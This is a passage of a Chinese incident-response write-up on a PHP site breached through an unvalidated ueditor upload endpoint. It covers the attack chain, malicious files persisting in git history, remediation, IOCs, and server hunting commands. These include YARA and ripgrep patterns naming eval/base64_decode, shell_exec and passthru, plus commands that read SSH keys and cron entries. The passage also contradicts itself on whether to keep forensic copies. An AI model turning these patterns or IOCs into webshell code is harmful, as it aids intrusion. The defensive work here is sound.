<p>这是国内某在线 PHP 加密平台（PHPJiaMi）的产物：变量名被打成 GBK 乱码，函数体全部加密，运行时解密执行。它已经由 <code>b4fb54d2 删除病毒文件</code> 和 <code>3299108c 忽略病毒文件</code> 两次提交从 HEAD 移除，并加入 <code>.gitignore</code>——<strong>但这是&quot;删了&quot;，不是&quot;没了&quot;</strong>，下一节展开。</p>
<hr>
<h2 id="0x03-攻击路径推断">0x03 攻击路径推断</h2>
<p>把所有证据拼起来，完整链条是这样的：</p>
<pre><code>[入口] ueditor 图片上传接口（无后缀/类型校验）
   ↓  09/24  JPEG + .php；双后缀试探解析规则
[验证] 确认 uploads 目录可被 PHP 解析
   ↓  09/29  落地 index.php（两阶段 Webshell）+ adminer.php
[驻留] uploads 目录被 .gitignore，永不进入代码评审
   ↓  12/29  在已被入侵的机器上发起提交 ca92ed9c
[扩散] 木马 + 25MB 归档 + 加密后门 info.php 混入 11461 个文件推送远端</code></pre>
<p><strong>根因只有一个：上传目录没有禁止执行 PHP。</strong> 其余所有问题（<code>.gitignore</code> 掩盖、提交被冲进远端）都是这个根因的下游后果。</p>
<p>补充一个判断：业务代码全量扫描 0 命中，说明攻击者<strong>没有改过任何业务逻辑</strong>，也没有植入供应链级后门。他的目标非常明确——数据。这在安全定性上属于&quot;入侵成功但损害有限&quot;，但仍必须按最坏情况处理（见修复清单的凭据轮换项）。</p>
<hr>
<h2 id="0x04-删了但没真删git-历史里的幽灵">0x04 &quot;删了但没真删&quot;：Git 历史里的幽灵</h2>
<p>这是很多团队的共同误区。<code>b4fb54d2</code> 把 <code>public/info.php</code> 从代码里删掉了，工作区干净了，<code>git status</code> 干净了——<strong>但那个恶意 blob 还完整地躺在 <code>.git/objects/</code> 里</strong>：</p>
<pre data-lang="bash"><code class="language-bash"><span class="hljs-comment"># 任何人 clone 仓库后，一行命令即可取回木马</span>
git show ca92ed9c:public/info.php

<span class="hljs-comment"># 甚至可以整棵检出当时的完整快照</span>
git checkout ca92ed9c</code></pre>
<p>Git 是内容寻址的快照系统，删除只是在新快照里不再引用，旧对象要等 GC 且未被任何引用触达时才会真正清除。<strong>只要恶意提交还在被任何分支/tag 引用的历史里，它就永远可取回。</strong></p>
<p>正确做法是改写历史：</p>
<pre data-lang="bash"><code class="language-bash">pip install git-filter-repo
git filter-repo --path public/info.php --invert-paths
git filter-repo --path app_master --invert-paths
<span class="hljs-comment"># 然后强推远端，并让所有协作者重新 clone（而非 pull）</span></code></pre>
<blockquote>
<p>⚠️ 改写历史会变更所有提交的 SHA，且 <code>pull</code> 无法收敛，必须全员重新 clone。所以<strong>改写历史要和密钥轮换同步做</strong>——历史里取回的不只是木马，还有你 <code>.env</code> 里那些从未变过的密钥。</p>
</blockquote>
<p>本次排查中，仓库 <code>.env</code> 里保存的是<strong>真实生产凭据</strong>（MySQL root 密码、Redis 密码、对象存储 SecretId/SecretKey、IM 与支付密钥），且 <code>APP_DEBUG=true</code>。既然仓库曾被入侵且历史可回溯，<strong>这些凭据必须视为已泄露并全部轮换</strong>，同时将 <code>APP_DEBUG</code> 置为 <code>false</code>（调试模式会把 <code>.env</code> 片段、SQL 语句、堆栈信息回显到 HTTP 响应里，是信息泄露的重灾区）。</p>
<hr>
<h2 id="0x05-修复清单按优先级">0x05 修复清单（按优先级）</h2>
<p><strong>P0 — 立即执行</strong></p>
<ol>
<li>删除 4 个恶意文件（4 个文件全部删除即可，无需保留取证副本，磁盘上已无价值）；</li>
<li><strong>轮换全部凭据</strong>：数据库、Redis、对象存储、IM、支付网关、<code>.env</code> 中的 <code>APP_KEY</code>；</li>
<li><code>APP_DEBUG=false</code>。</li>
</ol>
<p><strong>P1 — 上传点根治（真正堵住根因）</strong></p>
<p>上传目录禁止执行 PHP：</p>
<pre data-lang="nginx"><code class="language-nginx"><span class="hljs-comment"># Nginx：uploads 目录下任何 PHP 都不解析</span>
<span class="hljs-section">location</span> <span class="hljs-regexp">~* ^/uploads/.*\.(php|phtml|php5|pht|phar)$</span> {
    <span class="hljs-attribute">deny</span> all;
}</code></pre>
<pre data-lang="apache"><code class="language-apache"><span class="hljs-comment"># Apache：.htaccess</span>
<span class="hljs-section">&lt;Directory <span class="hljs-string">&quot;/path/to/public/uploads&quot;</span>&gt;</span>
    <span class="hljs-attribute">php_flag</span> engine <span class="hljs-literal">off</span>
<span class="hljs-section">&lt;/Directory&gt;</span></code></pre>
<p>更彻底的做法是<strong>让上传文件根本不落在 Web 可访问目录</strong>——转存到对象存储（OSS/COS）的私有桶，通过带签名的临时 URL 访问。这样连&quot;上传目录被访问&quot;这件事都不存在。</p>
<p><strong>P2 — 上传接口自身加固</strong></p>
<ul>
<li>扩展名<strong>白名单</strong>（只允许 <code>jpg/jpeg/png/gif/webp</code>），拒绝一切黑名单式的&quot;过滤 php&quot;；</li>
<li>服务端用 <code>finfo_file()</code> 读魔数校验 MIME，与扩展名交叉验证（防本次的 JPEG 改 <code>.php</code>）；</li>
<li><strong>随机重命名</strong>，不要保留原始文件名与 ueditor 自动生成的时间戳目录（本次 <code>ueditor/image/20250701/1751356353361722/</code> 的目录结构就是攻击者的路标）；</li>
<li>上传目录归属独立域名（<code>upload.example.com</code>），主站即使被上传也无法在同一域名下执行。</li>
</ul>
<p><strong>P3 — 流程与自动化</strong></p>
<ul>
<li><strong>CI 集成扫描</strong>：<code>gitleaks</code>（密钥泄露）+ 自定义正则（<code>eval(base64_decode</code>、<code>chr()</code> 连接、<code>&lt;?pHP</code> 大小写混淆等）作为 MR 合并门禁；</li>
<li><strong>预提交钩子</strong>：拦截 <code>.php</code> 出现在 <code>public/uploads</code> 路径下；</li>
<li><strong>提交异常告警</strong>：对&quot;提交者邮箱不在白名单 / 变更文件数 &gt; 500 / 删除行数 &gt; 10 万&quot;的提交强制人工复核——本次那个 11461 文件、189 万删除行的提交，只要有一条这样的规则就会被拦下。</li>
</ul>
<p><strong>P4 — 善后</strong></p>
<ul>
<li><code>git filter-repo</code> 清除历史中的 <code>public/info.php</code> 与 <code>app_master</code>，全员重新 clone；</li>
<li>检查所有 clone 过该仓库的开发机与 CI Runner 是否也存在 <code>public/uploads</code> 下的木马副本（本次排查中，恶意文件的本机创建时间与提交时间仅差 12 秒，说明入侵机器不止一台）。</li>
</ul>
<hr>
<h2 id="0x06-复盘三条最有价值的经验">0x06 复盘：三条最有价值的经验</h2>
<p><strong>1. &quot;工作区干净&quot;不等于&quot;没有木马&quot;。</strong> <code>.gitignore</code> 会让 <code>git status</code> 对上传目录完全失明。安全排查必须用文件系统枚举，而不是 VCS 视图。</p>
<p><strong>2. 扫&quot;人&quot;比扫&quot;代码&quot;快。</strong> 占位符邮箱、乱码提交信息、超大变更规模——这三个元数据特征的信噪比，远高于在几十万行 PHP 里匹配 <code>eval</code>。本次真正定位到恶意提交的，不是正则，是那行 <code>name &lt;name@mail.com&gt;</code>。</p>
<p><strong>3. 混淆的尽头是&quot;扫描器免疫&quot;，但不是&quot;分析免疫&quot;。</strong> 这个 1566 字节的样本用了 <code>chr()</code> 拼接、垃圾注释、大小写混合、XOR 密钥旋转、两阶段免落盘五种手法，静态特征匹配确实全部失效。但只要把它跑一遍、逐行还原，所有逻辑依然清晰。<strong>对抗混淆靠的不是更强的正则，而是愿意打开文件从第一行读起。</strong></p>
<hr>
<h2 id="附录-aioc">附录 A：IOC</h2>
<table>
<thead>
<tr>
<th>项目</th>
<th>值</th>
</tr>
</thead>
<tbody><tr>
<td>Webshell 文件大小</td>
<td>1566 字节（36 行）</td>
</tr>
<tr>
<td>Webshell 头部特征</td>
<td><code>WelCome You</code> + <code>&lt;?pHP</code></td>
</tr>
<tr>
<td>Webshell XOR 密钥</td>
<td><code>9e0a7f523a7ccc43</code>（使用时旋转 1 位：<code>key[($i+1)&amp;15]</code>）</td>
</tr>
<tr>
<td>Webshell POST 字段名</td>
<td><code>Aa123456</code></td>
</tr>
<tr>
<td>Webshell 会话键</td>
<td><code>payload</code></td>
</tr>
<tr>
<td>Webshell 载荷标记</td>
<td><code>getBasicInfo</code></td>
</tr>
<tr>
<td>Webshell 输出帧头/帧尾</td>
<td><code>substr(md5($field.$key),0,16)</code> / <code>[16]</code></td>
</tr>
<tr>
<td>加密平台特征</td>
<td><code>PHP Encode by  https://Www.PHPJiaMi.Com/</code></td>
</tr>
<tr>
<td>工具型后门</td>
<td>Adminer 5.2.1（493022 字节）</td>
</tr>
<tr>
<td>上传探针特征</td>
<td>JPEG 魔数 <code>FF D8 FF E0</code> + 文件名以全角分号 <code>；</code>(U+FF1B) 结尾</td>
</tr>
<tr>
<td>敏感目录特征</td>
<td><code>public/uploads/ueditor/image/&lt;date&gt;/&lt;timestamp-random&gt;/</code></td>
</tr>
</tbody></table>
<blockquote>
<p>全文域名、仓库地址、IP、数据库/对象存储/支付凭据、业务模块名称均已脱敏处理；样本中的密钥与特征串为公开木马签名，保留以供检测规则引用。</p>
</blockquote>
<hr>
<h2 id="附录-b服务器侧恶意文件排查手册命令可直接执行">附录 B：服务器侧恶意文件排查手册（命令可直接执行）</h2>
<blockquote>
<p>前文所有排查发生在代码仓库与工作区。但<strong>仓库干净 ≠ 生产环境干净</strong>：上传目录被 <code>.gitignore</code> 掩盖，木马可能从未进入版本库，却真实存在于服务器磁盘上。本附录回答&quot;生产服务器上现在还有没有、曾经发生过什么&quot;。</p>
<p>假设 Linux + root/SSH 权限；命令中的 <code>/var/www</code> 请替换为你的实际 Web 根目录（用 B.0 的方法先找出来）。全盘扫描有一定 IO 开销，建议选业务低峰期执行。</p>
</blockquote>
<h3 id="b0-先定位战场5-分钟">B.0 先定位战场（5 分钟）</h3>
<p>不要盲目扫全盘，先确定&quot;哪些目录需要扫&quot;：</p>
<pre data-lang="bash"><code class="language-bash"><span class="hljs-comment"># Web 根目录在哪（比 find / 更准）</span>
nginx -T 2&gt;/dev/null | grep -E <span class="hljs-string">&#x27;^\s*root|server_name&#x27;</span>
grep -rE <span class="hljs-string">&#x27;DocumentRoot|&lt;Directory&#x27;</span> /etc/httpd /etc/apache2 2&gt;/dev/null

<span class="hljs-comment"># 机器上都跑了什么端口（发现意外的反代/后门监听）</span>
ss -tunlp

<span class="hljs-comment"># PHP-FPM pool 配置（每个 pool 的 web root 不一定相同）</span>
grep -rE <span class="hljs-string">&#x27;^\s*(listen|user|chdir)&#x27;</span> /etc/php*/fpm/pool.d/</code></pre>
<p>把结果里的 Web 根目录记下来，下面所有命令统一替换。</p>
<h3 id="b1-时间窗口扫描用已知入侵日期切片">B.1 时间窗口扫描——用已知入侵日期切片</h3>
<p>本文样本已经给出确切的攻击时间点：<strong>9/24（探针）、9/29（Webshell + Adminer）、12/29（扩散）</strong>。按时间切片比全盘特征扫描高效得多：</p>
<pre data-lang="bash"><code class="language-bash">find /var/www -xdev \
  \( -path <span class="hljs-string">&#x27;*/vendor/*&#x27;</span> -o -path <span class="hljs-string">&#x27;*/node_modules/*&#x27;</span> -o -path <span class="hljs-string">&#x27;*/storage/framework/*&#x27;</span> \) -prune -o \
  -<span class="hljs-built_in">type</span> f \( -newermt <span class="hljs-string">&#x27;2025-09-15&#x27;</span> ! -newermt <span class="hljs-string">&#x27;2025-10-15&#x27;</span> -o \
             -newermt <span class="hljs-string">&#x27;2025-12-20&#x27;</span> ! -newermt <span class="hljs-string">&#x27;2026-01-05&#x27;</span> \) -<span class="hljs-built_in">print</span></code></pre>
<p>把入侵窗口放宽几天（±1 周），避免因时区差异或文件搬运漏掉。</p>
<h3 id="b2-时间戳三角比对抓改过时间的文件">B.2 时间戳三角比对——抓&quot;改过时间&quot;的文件</h3>
<p><code>touch -d</code> 修改 mtime 时，ctime（inode 变更时间）会变成当前时间，<strong>攻击者无法同时伪造两者</strong>。ctime 明显晚于 mtime 的文件即为高危：</p>
<pre data-lang="bash"><code class="language-bash">find /var/www /tmp /dev/shm -xdev -<span class="hljs-built_in">type</span> f -<span class="hljs-built_in">printf</span> <span class="hljs-string">&#x27;%C@ %T@ %p\n&#x27;</span> \
  | awk <span class="hljs-string">&#x27;$1 - $2 &gt; 86400 {print $3}&#x27;</span></code></pre>
<p><code>/tmp</code> 和 <code>/dev/shm</code> 必须一起扫：它们可执行，常被 Webshell 用来做无文件驻留。</p>
<h3 id="b3-基线比对命中率最高的一招">B.3 基线比对——命中率最高的一招</h3>
<p>盲扫靠特征命中率，基线比对靠&quot;线上多出了什么&quot;，<strong>后者几乎不会漏</strong>。只要手上有可信的发布产物（git tag、CI artifact、部署前备份），就能直接列出线上与代码库的全部差异：</p>
<pre data-lang="bash"><code class="language-bash"><span class="hljs-comment"># 方法 A：拿一份干净代码，rsync dry-run 对比</span>
<span class="hljs-built_in">cd</span> /tmp &amp;&amp; git <span class="hljs-built_in">clone</span> -b &lt;线上对应tag&gt; --depth=1 &lt;仓库地址&gt; clean
rsync -nrc --itemize-changes --delete \
  --exclude=<span class="hljs-string">&#x27;.env&#x27;</span> --exclude=<span class="hljs-string">&#x27;storage/&#x27;</span> --exclude=<span class="hljs-string">&#x27;public/uploads/&#x27;</span> --exclude=<span class="hljs-string">&#x27;.git&#x27;</span> \
  /tmp/clean/ /var/www/current/ | grep -E <span class="hljs-string">&#x27;^\*deleting|[&gt;f].*\.(php|phtml|phar)$&#x27;</span>
<span class="hljs-comment"># ↑ 输出里的 &quot;deleting&quot; 就是线上存在但代码库没有的文件 = 最可疑的</span></code></pre>
<pre data-lang="bash"><code class="language-bash"><span class="hljs-comment"># 方法 B：没有干净副本时，先导出现网 PHP 文件清单待人工核对</span>
find /var/www -name <span class="hljs-string">&#x27;*.php&#x27;</span> -not -path <span class="hljs-string">&#x27;*/vendor/*&#x27;</span> -<span class="hljs-built_in">exec</span> <span class="hljs-built_in">sha256sum</span> {} + | <span class="hljs-built_in">sort</span> -k2 &gt; /tmp/live.sha256</code></pre>
<h3 id="b4-文件名特征枚举复用附录-a-的-ioc">B.4 文件名特征枚举——复用附录 A 的 IOC</h3>
<pre data-lang="bash"><code class="language-bash"><span class="hljs-comment"># 上传目录下的任何 PHP 系文件（本次事件的根因目录）</span>
find /var/www -<span class="hljs-built_in">type</span> f -ipath <span class="hljs-string">&#x27;*upload*&#x27;</span> \
  \( -iname <span class="hljs-string">&#x27;*.php&#x27;</span> -o -iname <span class="hljs-string">&#x27;*.phtml&#x27;</span> -o -iname <span class="hljs-string">&#x27;*.php5&#x27;</span> -o -iname <span class="hljs-string">&#x27;*.pht&#x27;</span> -o -iname <span class="hljs-string">&#x27;*.phar&#x27;</span> \)

<span class="hljs-comment"># 双扩展名（jpg.php / php;.jpg 之类）</span>
find /var/www -<span class="hljs-built_in">type</span> f -regextype posix-extended -iregex <span class="hljs-string">&#x27;.*\.(jpg|jpeg|png|gif|webp)\..*&#x27;</span>

<span class="hljs-comment"># 隐藏文件（Webshell 常命名成 .index.php 之类）</span>
find /var/www /tmp /dev/shm -name <span class="hljs-string">&#x27;.*&#x27;</span> -<span class="hljs-built_in">type</span> f -size -1M

<span class="hljs-comment"># 上传目录里体积异常小的&quot;图片&quot;（本次探针仅 428 字节）</span>
find /var/www -ipath <span class="hljs-string">&#x27;*upload*&#x27;</span> -<span class="hljs-built_in">type</span> f \( -iname <span class="hljs-string">&#x27;*.jpg&#x27;</span> -o -iname <span class="hljs-string">&#x27;*.png&#x27;</span> \) -size -2k

<span class="hljs-comment"># 文件名带全角字符/不可见字符（本次探针就是全角分号结尾）</span>
find /var/www -<span class="hljs-built_in">type</span> f | grep -P <span class="hljs-string">&#x27;[\x{FF00}-\x{FFEF}\x00-\x1F]&#x27;</span></code></pre>
<h3 id="b5-内容扫描三层互补">B.5 内容扫描——三层互补</h3>
<table>
<thead>
<tr>
<th>工具</th>
<th>作用</th>
<th>定位</th>
</tr>
</thead>
<tbody><tr>
<td>ClamAV</td>
<td>通用恶意软件库</td>
<td>兜底，对定制 Webshell 检出率一般</td>
</tr>
<tr>
<td>YARA</td>
<td>Webshell 专用规则</td>
<td>主力，可用附录 A 的 IOC 写自定义规则</td>
</tr>
<tr>
<td>ripgrep</td>
<td>精确正则</td>
<td>快、可控，适合接进 CI</td>
</tr>
</tbody></table>
<pre data-lang="bash"><code class="language-bash">freshclam &amp;&amp; clamscan -r --infected --move=/root/quarantine /var/www /tmp /dev/shm</code></pre>
<p>自定义 YARA 规则（覆盖本文三个样本的特征，存为 <code>webshell.yar</code>）：</p>
<pre data-lang="yara"><code class="language-yara">rule php_upload_webshell {
    strings:
        $a = &quot;WelCome You&quot; ascii
        $b = &quot;PHP Encode by&quot; ascii
        $c = &quot;getBasicInfo&quot; ascii
        $d = /chr\s*\(\s*[&quot;']?\d+[&quot;']?\s*\)\s*\.\s*[&quot;']de[&quot;']/ ascii
        $e = &quot;auto_prepend_file&quot; ascii
    condition: 2 of them or ($a and $d)
}</code></pre>
<pre data-lang="bash"><code class="language-bash">yara -r /path/to/webshell.yar /var/www</code></pre>
<pre data-lang="bash"><code class="language-bash"><span class="hljs-comment"># ripgrep 特征矩阵（--glob 排除 vendor）</span>
rg -n --glob <span class="hljs-string">&#x27;!vendor/**&#x27;</span> --glob <span class="hljs-string">&#x27;!storage/framework/**&#x27;</span> \
  -e <span class="hljs-string">&#x27;eval\s*\(\s*[&quot;&#x27;</span><span class="hljs-string">&quot;&#x27;&quot;</span><span class="hljs-string">&#x27;]?(base64_decode|gzinflate|str_rot13)&#x27;</span> \
  -e <span class="hljs-string">&#x27;assert\s*\(\s*\$_(POST|GET|REQUEST)&#x27;</span> \
  -e <span class="hljs-string">&#x27;preg_replace\s*\(.{0,20}/[a-z]*e[a-z]*[&quot;&#x27;</span><span class="hljs-string">&quot;&#x27;&quot;</span><span class="hljs-string">&#x27;]&#x27;</span> \
  -e <span class="hljs-string">&#x27;base64_decode\s*\(\s*[&quot;&#x27;</span><span class="hljs-string">&quot;&#x27;&quot;</span><span class="hljs-string">&#x27;][A-Za-z0-9+/=]{200,}&#x27;</span> \
  -e <span class="hljs-string">&#x27;shell_exec|passthru|proc_open&#x27;</span> \
  /var/www</code></pre>
<h3 id="b6-持久化通道检查删了-webshell-不代表完事">B.6 持久化通道检查——删了 Webshell 不代表完事</h3>
<p>入侵者常留&quot;第二把钥匙&quot;，这些通道比单个 Webshell 更隐蔽：</p>
<pre data-lang="bash"><code class="language-bash"><span class="hljs-comment"># 计划任务（最常见持久化，覆盖所有用户）</span>
<span class="hljs-keyword">for</span> u <span class="hljs-keyword">in</span> $(<span class="hljs-built_in">cut</span> -f1 -d: /etc/passwd); <span class="hljs-keyword">do</span>
  crontab -u <span class="hljs-variable">$u</span> -l 2&gt;/dev/null | grep -v <span class="hljs-string">&#x27;^#&#x27;</span> | sed <span class="hljs-string">&quot;s/^/<span class="hljs-variable">$u</span>: /&quot;</span>
<span class="hljs-keyword">done</span>
<span class="hljs-built_in">ls</span> -la /etc/cron.d/ /var/spool/cron/ /etc/cron.*/ 2&gt;/dev/null
systemctl list-timers --all | <span class="hljs-built_in">head</span> -20

<span class="hljs-comment"># 异常服务与被改的服务文件</span>
systemctl list-units --<span class="hljs-built_in">type</span>=service --state=running
find /etc/systemd/system /usr/lib/systemd/system -mtime -90 -<span class="hljs-built_in">type</span> f

<span class="hljs-comment"># SSH 后门</span>
<span class="hljs-keyword">for</span> f <span class="hljs-keyword">in</span> /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys; <span class="hljs-keyword">do</span>
  <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;== <span class="hljs-variable">$f</span>&quot;</span>; <span class="hljs-built_in">cat</span> <span class="hljs-string">&quot;<span class="hljs-variable">$f</span>&quot;</span> 2&gt;/dev/null
<span class="hljs-keyword">done</span>

<span class="hljs-comment"># 环境级劫持（ld.so.preload 非空 = 极可能 rootkit）</span>
<span class="hljs-built_in">cat</span> /etc/ld.so.preload 2&gt;/dev/null
<span class="hljs-built_in">ls</span> -la /etc/ld.so.preload /etc/profile.d/*.sh ~/.bashrc ~/.bash_profile 2&gt;/dev/null

<span class="hljs-comment"># PHP 配置级后门（auto_prepend 会让所有页面带毒，比 Webshell 更隐蔽）</span>
<span class="hljs-keyword">for</span> bin <span class="hljs-keyword">in</span> php php8.1 php8.2 php8.3; <span class="hljs-keyword">do</span>
  <span class="hljs-built_in">command</span> -v <span class="hljs-variable">$bin</span> &gt;/dev/null &amp;&amp; \
  <span class="hljs-variable">$bin</span> -i 2&gt;/dev/null | grep -iE <span class="hljs-string">&#x27;auto_prepend_file|auto_append_file|disable_functions|open_basedir&#x27;</span>
<span class="hljs-keyword">done</span>
grep -rn -iE <span class="hljs-string">&#x27;auto_prepend|auto_append&#x27;</span> /etc/php* /usr/local/php* 2&gt;/dev/null

<span class="hljs-comment"># Web 服务器配置里的异常 location / 反代</span>
nginx -T 2&gt;/dev/null | grep -E <span class="hljs-string">&#x27;location|proxy_pass|alias|root&#x27;</span></code></pre>
<h3 id="b7-日志回放回答什么时候进来的有没有带走数据">B.7 日志回放——回答&quot;什么时候进来的、有没有带走数据&quot;</h3>
<pre data-lang="bash"><code class="language-bash"><span class="hljs-comment"># 上传目录被访问 PHP 的记录（本文事件的核心证据）</span>
awk <span class="hljs-string">&#x27;$9==200 &amp;&amp; $7 ~ /uploads\/.*\.(php|phtml)/&#x27;</span> /var/log/nginx/access.log* \
  | awk <span class="hljs-string">&#x27;{print $4,$7}&#x27;</span> | <span class="hljs-built_in">sort</span> | <span class="hljs-built_in">uniq</span> -c | <span class="hljs-built_in">sort</span> -rn | <span class="hljs-built_in">head</span> -30

<span class="hljs-comment"># ueditor 上传接口的调用（入口）</span>
grep -E <span class="hljs-string">&#x27;POST .*(ueditor|upload|imageUp|catchimage)&#x27;</span> /var/log/nginx/access.log* | <span class="hljs-built_in">head</span> -50

<span class="hljs-comment"># 按已知入侵日期重点回放（2025-09-24 / 09-29 / 12-29）</span>
zgrep -h <span class="hljs-string">&#x27;2025-09-2[4-9]\|2025-12-29&#x27;</span> /var/log/nginx/access.log* \
  | grep -E <span class="hljs-string">&#x27;\.(php|phtml)&#x27;</span> | awk <span class="hljs-string">&#x27;$9!=404&#x27;</span>

<span class="hljs-comment"># SSH 登录与暴力破解</span>
last -a | <span class="hljs-built_in">head</span> -30
lastb 2&gt;/dev/null | awk <span class="hljs-string">&#x27;{print $1}&#x27;</span> | <span class="hljs-built_in">sort</span> | <span class="hljs-built_in">uniq</span> -c | <span class="hljs-built_in">sort</span> -rn | <span class="hljs-built_in">head</span>
grep <span class="hljs-string">&#x27;Accepted&#x27;</span> /var/log/secure /var/log/auth.log 2&gt;/dev/null | <span class="hljs-built_in">tail</span> -30

<span class="hljs-comment"># 数据库账号（Adminer 拖库的旁证）</span>
mysql -e <span class="hljs-string">&quot;SELECT user,host FROM mysql.user;&quot;</span></code></pre>
<p>再查后台管理账号表，看 9 月以来有无新增账号或异常登录 IP——Adminer 的存在意味着攻击者有能力直接操作数据库。</p>
<h3 id="b8-判定与处置">B.8 判定与处置</h3>
<pre><code>发现可疑文件
   │
   ├─ 在代码库/发布包里存在吗？──是──&gt; 比对哈希：一致=正常文件；不一致=被篡改，高危
   │         否
   │         ↓
   ├─ 位于 Web 可访问目录？──是──&gt; 立即隔离取证（cp 到 /root/quarantine + sha256sum）
   │         否 ──&gt; 列入观察清单，检查是否被 cron/systemd 引用
   │         ↓
   ├─ 服务器配置被改过？
   │   （auto_prepend / ld.so.preload / nginx location / cron）
   │         是 ──&gt; 直接判定&quot;确认入侵&quot;，走重建流程
   │         否 ──&gt; 仅清除文件，但仍需 B.7 日志回放确认影响面
   │         ↓
   └─ 确认入侵 → ①封源 IP ②取证留存 ③轮换全部凭据
                ④用干净副本重建 ⑤上传目录禁止执行 ⑥部署文件完整性监控</code></pre>
<p>处置三原则：</p>
<ol>
<li><strong>先隔离再删除</strong>。可疑文件 <code>cp</code> 到 <code>/root/quarantine/</code> 并记录 <code>sha256sum</code>，保留取证价值（分析 C2、横向移动线索），再从 Web 目录清除。</li>
<li><strong>不要试图&quot;只删木马文件&quot;了事</strong>。你不知道有没有第二个。确认入侵后按&quot;重建&quot;而非&quot;清杀&quot;处理：干净代码副本 + 全部凭据轮换。</li>
<li><strong>深度可疑时考虑重装</strong>。出现 rootkit 迹象（<code>ld.so.preload</code> 异常、异常内核模块）时，先跑 <code>rkhunter --check</code> / <code>lynis audit system</code>，仍不能排除则直接重装系统 + 从备份恢复数据。</li>
</ol>
<h3 id="b9-工具速查">B.9 工具速查</h3>
<table>
<thead>
<tr>
<th>目的</th>
<th>首选</th>
<th>备选</th>
</tr>
</thead>
<tbody><tr>
<td>线上 vs 代码库差异</td>
<td><code>rsync -nrc</code> 基线比对</td>
<td><code>sha256sum</code> 清单</td>
</tr>
<tr>
<td>Webshell 内容检测</td>
<td>YARA（webshell 规则集）</td>
<td>ClamAV、ripgrep 正则矩阵</td>
</tr>
<tr>
<td>主机审计 / 长期监控</td>
<td>LinPEAS（信息收集）、AIDE（文件完整性）</td>
<td>lynis、rkhunter、OSSEC</td>
</tr>
</tbody></table>
]]></content:encoded></item></channel></rss>